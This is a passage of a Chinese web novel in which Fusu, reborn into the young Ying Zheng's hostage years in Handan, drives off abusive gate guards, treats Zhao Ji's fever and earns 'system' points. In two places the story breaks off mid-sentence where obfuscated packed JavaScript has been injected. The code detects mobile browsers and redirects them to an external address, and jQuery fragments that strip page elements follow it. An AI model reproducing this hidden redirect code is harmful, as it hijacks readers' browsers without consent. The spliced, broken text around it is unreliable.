《扶苏,但重生到嬴政质子时》 3. ……小心 逼退兵卒,药馆抓…… 扶苏的目光落在那些兵卒身上,又看向嬴政,心中了然。 这刁难恐怕是家常便饭。 吊梢眼守卒斜睨着嬴政,嘴角扯出一个不怀好意的笑,故意提高了嗓门,让周围零星的几个行人也听得清楚: “哟,我当是谁,这不是咱们邯郸城里的贵客嘛!这么冷的天又去城外捡破烂了?” 他身旁另一个胖些的士卒也凑过来,嘿嘿笑着。 “怎么,咸阳不要你们了,连取暖的炭火都得你这小王孙自己个儿出来讨?” 他们言语间的羞辱与恶意毫不掩饰。 周围有路过的赵人驻足,投来麻木厌憎的目光。 战争的伤痕和惨痛太深太近,对秦人的恨意几乎刻在骨子里,发泄在这个无力反抗的孩童身上,成了某种可悲的习惯。 嬴政垂着眼睑,瘦小的拳头在袖中握紧,他没有抬头,也没有尝试浪费时间去争辩,而是侧了侧身子,从横着的长戟旁绕过去。 争辩只会招来更过分的羞辱,他必须尽快回去,母亲还在等他。 “嘿!想溜?” 吊梢眼守卒却把戟一撤,又拦到另一边,戏耍般堵着他的去路。 “进城可以啊,规矩忘了?秦国的贵人,咱们赵国的城门是那么好进的?” 所谓规矩便是无休止的刁难,有时是让他从他们□□钻过,有时是逼他学狗叫,有时则是勒索他们母子本就微薄得可怜的钱物。 风雪似乎更急了,刮在脸上,却不及扶苏心头寒意的万分之一。 史书上寥寥几笔的为质于赵,其下掩盖的竟是这般日复一日的践踏。 他肩上的柴捆仿佛有千钧重。 就在守卒伸出手,想如往常一样去推搡嬴政瘦小的肩膀时,一道身影挡在了前面。 扶苏向前一步,不着痕迹地将嬴政护在了身后侧,自己迎上了那守卒的手。 他并未格挡,肩膀微微一侧卸开了力道,让那守卒推了个空,踉跄了一下。 “你谁啊?” 吊梢眼守卒稳住身形,恼羞成怒地瞪向扶苏。 他这时才仔细打量这个一直沉默跟在秦崽子身后的年轻人。 一身白衣虽沾雪沫,却质地不俗,气度温润中隐有清贵,不像寻常百姓。 扶苏抬起眼,看向两名守卒。 他目光并不如何凌厉,却自有一种久居人上不怒自威的气势,让两名平日里只会欺凌弱小的士卒心头莫名一悸。 “在下扶苏,途经邯郸。” “二位军爷值守辛苦,天寒地冻,原是该体谅。” 他先给了个软话头,吊梢眼守卒脸色稍缓,正想要摆谱,却听扶苏话锋直转。 “只是在下也略知各国邦交仪轨,质子入赵,乃秦赵两国之约,无论其国如何,其人身在邯郸,便受此约庇护。” “肆意折辱他国质子,尤其是稚龄王孙,若传扬出去恐怕有损赵国宽仁之名声,令贵国执政不悦,以为城门守卒不识大体,徒惹事端。” 他字字敲在要害,语气冷厉。 两名守卒脸色变了变。 他们欺负嬴政,是仗着赵人普遍仇秦,上头也睁只眼闭只眼,但若真把事情闹大,扣上个破坏邦交有辱国体的帽子,他们这种小卒可担待不起。 眼前这人气度不凡,恐怕有些来头,不像信口开河。 旁边胖士卒眼珠一转,换了副面孔,扯了扯吊梢眼的袖子,低声道: “算了算了,跟个小孩子计较什么,天怪冷的,赶紧让他们过去得了。” 吊梢眼守卒还有些不甘,但看看扶苏,最终悻悻地呸了一声,收回长戟,让开了路,“赶紧滚!别挡着道!” 扶苏不再多言,伸手轻轻虚扶了一下嬴政的后背,低声道:“走吧。” 嬴政抬起脚步,从两名守卒中间走过,小小的身影挺得笔直。 直到走出十几步,远离了城门,没入邯郸城简陋街巷的阴影中,他才稍稍偏头,用眼角余光看向身侧的青年。 风雪中,青年的侧脸沉静,方才那种隐约的迫人气势已收敛无踪,只剩下一片温润的平和,仿佛刚才在城门口三言两语逼退守卒的并非是他。 只是用一番听起来合情合理,实则暗含机锋的话解决了麻烦。 嬴政收回目光,继续看着前方路面,胸口被一股陌生的暖流掠过。 * 两人穿过几条狭窄肮脏的巷弄,在一处偏僻低矮的里巷尽头停下。 眼前是一座低矮的土坯房,墙皮斑驳脱落,木门陈旧。 这是嬴政与母亲赵姬在邯郸的居所。 如果不是亲眼所见,扶苏难以想象,日后统一六国的始皇帝,童年竟是在如此窘迫的环境中度过。 嬴政熟练地推开那扇不甚严实的木门,吱呀一声,混杂着淡淡霉味和药味的气息扑面而来。 “母亲,我回来了。” 他低声唤道。 屋内光线昏暗,陈设非常简单,一榻,一几,两只破旧的箱笼,墙角堆着些杂物,灶台冷清。 寒气无所阻挡地侵入,室内比外面暖和不了多少。 榻上,厚厚的旧被褥下传来压抑的咳嗽声,随即是一道虚弱的女声: “政……政儿?你回来了……” 她声音沙哑,气若游丝。 嬴政快步走到榻边,伸手探了探被褥中人的额头,“母亲,您还在发热,我带了……一位懂医术的先生回来。” 他侧过身,让出视线。 扶苏站在门口,逆着门外惨淡的天光,目光落在榻上。 女人嘴唇干裂,长发汗湿地贴在额角与颊边,眉眼依稀能辨出日后的明媚风姿,但此刻却被病痛和憔悴侵蚀,唯有在看向嬴政时,眼中才迸发出真切的光亮。 赵姬,他的祖母。 时光的错位感与亲缘的纠葛让扶苏心头巨震,一时间竟有些恍惚。 “先生?” 赵姬努力想撑起身子,目光投向门口陌生的年轻人,带着疑惑与来自本能的警惕,但更多的是被病痛折磨后的茫然无力。 扶苏深吸一口气,压下心绪,走进屋内。 “在下扶苏,途经此地,听闻公子言夫人染恙,特来一看,夫人不必起身,安心躺好便是。” 他的声音清润温和,举止有礼,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321155|199066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大程度上缓解了赵姬的紧张。 她看向嬴政,见儿子点了下头,才重新躺好,喘了口气,轻声道:“有劳……先生了,政儿,给先生……看座。” 其实并无甚可坐,嬴政默默搬来屋里唯一一张还算完好的蒲团,放在榻边。 扶苏道了声谢然后坐下。 他先仔细打量了一下赵姬的气色和呼吸,又询问了症状细节。 赵姬断断续续地回答,嬴政在一旁安静地听着,补充一两句。 问诊完毕,扶苏道:“夫人,请容在下探看脉象。” 赵姬从被中伸出手腕。 扶苏伸出三指,轻轻搭在她的腕上。 宫中的教育并不涉猎医术,但扶苏常去民间,心忧百姓,于是便学了二三,能治些寻常的病。 指尖传来的皮肤温度果然烫人,脉象浮数而略滑,已有化热之象,气血不和。 好在赵姬病起不久,但若再拖延下去导致风寒深入,引发肺疾或其他变症,那就麻烦了。 “夫人确是感染风寒,此症需发散表邪,兼清内热,并非重症,但是需及时用药,要好生将养。” 听到并非重症,嬴政紧绷的肩膀松了半分,赵姬也轻轻舒了口气。 “我这便开个方子。”扶苏看向嬴政,“可有笔墨?” 嬴政摇头,低声道:“并无。” 笔墨对他们而言是奢物。 扶苏顿了顿,目光快速扫过屋内,起身走到灶台边,从冷灰中拣出一小段未燃尽的木炭,又寻了块相对平整的破陶片。 “没事,以此替代也可。” 他用木炭在陶片上飞快写下几味药材。 写罢,他将陶片递给嬴政看,并低声解释了几句各味药的功用和大概剂量,“此方应当对症,只是有几味药,城中药铺或许……” 他话音未落,嬴政已抿紧了唇,黑沉沉的眼睛晦暗。 邯郸城内的药铺,尤其是那些稍大些的,一听是给住在那个巷子里的秦人母子看病抓药,要么推脱没有,要么开出天价。 扶苏将他的神色看在眼里,他思索了片刻,道: “这样,你将药材名与分量记下,我去城中药铺看看,我面生,他们不识得我,或可一试。” 这无疑是最稳妥的办法。 嬴政抬眸看他,眼中闪过复杂的亮光。 他用力点了点头,仔细看了一遍陶片上的字,默默记在心中。 嬴政记性极好,这点东西看两遍已能复述无误。 扶苏将木炭丢回灶膛。 “事不宜迟,我这便去,你照看好令堂,如果能生火,可以烧些热水给她擦拭降温,多饮温水。” 他将嬴政递来的铜钱放入袖中。 嬴政送他到门口,在他踏出门槛前,突然道:“……小心。” 扶苏脚步微顿,眉眼弯弯。 * 邯郸城不大,扶苏选了离嬴政住处稍远的一家,名唤回春堂。 坐堂的是一位须发花白的老医者,正在给一个妇人诊脉,柜台后是个十五六岁的学徒在捣药。 扶苏等那妇人拿了药离开,才走上前。 4. 获得积分 扶苏说出准备好的说辞。 “老先生,在下是途经邯郸的客商,同行的伙伴感染风寒,我来这想抓几副药,您看可否?” 他把要抓的药材和剂量告诉了医者。 老医者抬眼打量了一下扶苏。 眼前人气度从容,确实像是有些身份的旅人。 “嗯,你说的方子倒是对症。”老医者捋了捋胡须,转头吩咐柜台后的学徒,“按方抓个三副。” 学徒应了一声,利落的抓药打包。 过程无人多问。 扶苏付了钱道谢,将几包药收入旧布袋,快步离开。 走出回春堂一段距离,扶苏拐进另一条街的杂货铺,买了个陶制药罐,还有些生姜和一把小葱。 做完这些,他才提着东西绕了些路,折返回那条偏僻的里巷。 天色已经黑透了,细雪叠在屋檐上。 嬴政居住的小屋窗缝里透着昏黄的光。 扶苏轻轻叩门,门很快开了一条缝,露出嬴政警惕的小脸,看清是他,立刻拉开门让他进去,又迅速关好门。 屋内比方才暖和了些,灶膛里燃着火,上面架着一个旧水罐,正冒着热气。 “药买到了。” 扶苏将布袋和药罐等物放下。 嬴政眼中亮光一闪,将灯端近了些。 扶苏不再多言,立刻动手。 先用药罐取了干净雪水放在灶上烧着,然后打开药包,借着灯光检查药材成色。 他将需要先煎的药材投入已沸的罐中,小心控制着火候。 嬴政安静的看着扶苏熟练的处理药材。 昏黄的灯光映出扶苏的侧影,药气弥漫开来,夹着柴火烟气,倒也带来一丝暖意。 赵姬在榻上似乎睡沉了些,咳嗽声也略微平复。 煎药需要时间。 扶苏一边照看药罐,一边低声对嬴政道:“我买了些姜葱,稍后煮些姜葱水给你母亲发汗后补充津液,你也喝些,好驱驱寒气。” 他看了一眼嬴政身上单薄的旧袄,“待你母亲好转,需要设法添些御寒之物,食物也得清淡有营养,吃米粥比较好。” 嬴政听着,半晌后轻轻嗯了一声。 这些道理他明白,可巧妇难为无米之炊。 他声音很低:“今日……多谢。” 解围的事,买药的事,还有他此刻所做的一切。 扶苏搅动药汁的手微微一顿,温声道:“不必言谢,我说过我是有所求的。” 嬴政不再说话,转身又往灶膛里添了一根细细的柴枝,火光跳跃,映着他深色的眸子,不知在想些什么。 药终于煎好了。 扶苏将药汁滤出,倒进陶碗里,热气腾腾。 他试了试温度,觉得可以入口了才递给嬴政:“小心烫,喂你母亲服下吧。” 嬴政接过药碗,走到榻边轻声唤醒了赵姬。 赵姬迷迷糊糊地醒来,在嬴政的搀扶下起身,就着他的手将一碗苦涩的药汁慢慢喝下。 过程中扶苏一直背对着床榻,低头整理药罐和剩下的药材,让母子二人有点空间。 喝完药,赵姬额上出了一层细汗,呼吸顺畅了些。 嬴政按照扶苏说的,用温水给她擦了脸和手,又喂她喝了小半碗温水。 赵姬的精神好了一点点,她看向扶苏的方向,虚弱地道:“多谢……先生救命之恩……” “夫人好生休息,药需连服几日,夜间若再发热,可用温水持续擦拭。”扶苏转过身,温和地叮嘱。 赵姬点点头,实在是精力不济,又昏昏睡去。 嬴政细心地将母亲的手放进被褥,捻好被角,这才端着空药碗走回灶边。 他抬眸看向扶苏。 扶苏指了指旁边的姜和葱,开口道:“我帮你把姜葱水煮上,你记得趁热也喝一碗,我……该走了。” 现在已近深夜,他需要找个地方过夜。 听到走字,嬴政擦拭药碗的手指停顿了一下。 他问:“先生……明日还来么?” 扶苏看着嬴政被灶火映亮的半张脸,挺直的鼻梁,紧抿的嘴唇,已经隐隐有了几分日后帝王的样子。 他心中某个角落酸软了一下。 “来。” “令堂之症要连续用药观察,明日我会再来,药我已买好三副,足够明日之用,今晚若……” 他环顾着这间陋室。 “今晚如果高热不退,就用温水勤擦,多喂水,明日我来看时再说。” 嬴政点了点头,将药罐里剩下的药汁小心地倒进另一个破碗,放在灶边温着。 扶苏快速煮好了简单的姜葱水,看着嬴政沉默地喝下一碗,小脸被热气熏出一点血色,才稍稍放心。 他将剩下的药材包好,放在灶台干燥处,又将顺路买的饴糖塞到嬴政手里。 “夜里若饿,或是觉得苦,可含一点……我走了。” 他起身走向门口。 拉开门后风雪立刻涌入。 “扶苏先生。”嬴政突然出声。 扶苏回头。 昏暗的光线下,孩童站在灶火与油灯交织的光影里,手里紧紧攥着那包饴糖,慢慢一字一字地说: “路上小心,明日……我等你。” 风雪呼啸,卷过破旧的门楣。 扶苏望着那双眼,视线仿佛透过数十载光阴,望见了章台宫阶下,自己最后一次叩首离去时那高踞御座之上深沉难辨的目光。 两幅画面叠在一起。 他轻轻点了下头,转身投入门外夜色里。 门在身后轻轻合上。 扶苏站在巷中,雪落满肩。 眼前微光亮起,光屏无声地浮现在他面前。 【历史片段记录完成】 【涉及人物:嬴政,赵姬】 【事件评级:三星】 【积分结算:20】 【当前总积分:20】 扶苏恍然。 原来这便是记录么? 【积分可用于兑换本世界生存时长(基础兑换比例:1积分/天),或者兑换本世界可流通货币(兑换比例浮动,受当前时代及系统评估影响),请宿主善加利用】 新的提示浮现。 生存时长……货币…… 扶苏看了一眼自己仅有的衣裳,又感受了一下周身刺骨的寒意。 还好,有了这二十积分,要不然就要露宿街头了。 他心念微动,光板上的文字随着他的想法变化,显示出可兑换的列表。 目光快速扫过,扶苏心中已有了计较。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323424|199066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “兑换三天生存时间。”他默念。 光板微闪。 【兑换成功,消耗积分:3】 【剩余积分:17】 三天时间,足够他安置下来,并继续观察赵姬病情,维系与嬴政的接触。 紧接着,扶苏看向货币兑换选项。 “兑换……十积分的本世钱币。” 他需要钱,要立刻找到一个遮风挡雪能过夜的地方,也得留下些钱财以备不时之需,或许还能给父皇和祖母改善些许处境。 十积分不算多,但作为启动应能解燃眉之急。 【兑换请求受理……】 【兑换成功,消耗积分:10】 【获得:赵刀币若干,金饼(小)一枚,已按符合本时代背景方式,存放于宿主衣服夹层】 【剩余积分:7】 屏幕消失后,扶苏感到身上一沉,他伸手探入内层,果然触到一些冷硬的金属,形状各异,其中有一小块尤为沉实。 他最后望了一眼那扇透出微光的破旧木门,转身踏入更深的夜色与风雪。 邯郸城的夜晚寂静得早,尤其是这样的雪天,街上几乎不见行人。 扶苏寻着记忆中来时的路,找到了一处看起来还算规整的客栈。 门口挂着褪色的布招,在风中摇晃。 他叩开门,出面的是个睡眼惺忪的伙计,打着哈欠,借着昏暗的油灯打量这个深夜投宿的客人。 伙计见扶苏虽然满身风雪,但气度不凡,不像是歹人,于是态度还算客气。 “客官住店?上房一日十钱,通铺三文。” “要一间清净的上房,先住三日。”扶苏从行囊中取出适量刀币付了定金。 伙计收了钱,态度更殷勤了些,忙引他上楼,推开一间朝南的房门。 房间陈设简单,收拾得还算干净。 “客官可需热水饭食?” “不必了,多谢,明日再说。” 伙计应了声,退出去带上了门。 室内终于只剩下他一人。 扶苏脱下沾满雪沫的外袍,走到榻边坐下。 疲惫感后知后觉地涌了上来。 一天之内,他经历了死亡,见证了帝国倾覆的预言,与一个不可思议的系统绑定,逆转时光见到了年仅五岁的父亲,处理了城门冲突,诊治了病中的祖母…… 一切如梦似幻,却又真实无比。 扶苏躺下。 屋外风雪扑打着窗棂,屋内一灯如豆,光影摇曳。 他望着头顶粗陋的屋顶梁木,思绪纷杂。 今日种种在脑海中掠过,最终定格在那双眼眸上,还有嬴政所说的我等你三个字。 扶苏嘴角不自觉地弯起了弧度。 他闭上了眼睛。 睡意漫上,将他卷入混沌美好的梦境。 * 与此同时。 风雪在邯郸的街巷间肆虐,卷过高耸的宫墙。 城门口那点冲突,随着守卒的唾骂声,传进了城中富丽堂皇的宫殿。 宫殿里灯火通明,暖意十足,不见半点外头的寒气。 兽首铜炉里炭火旺着,空气里浮着香料的气味。 暖阁里,几个衣着光鲜的仆从围着一个身影,各个都小心翼翼,极为殷勤。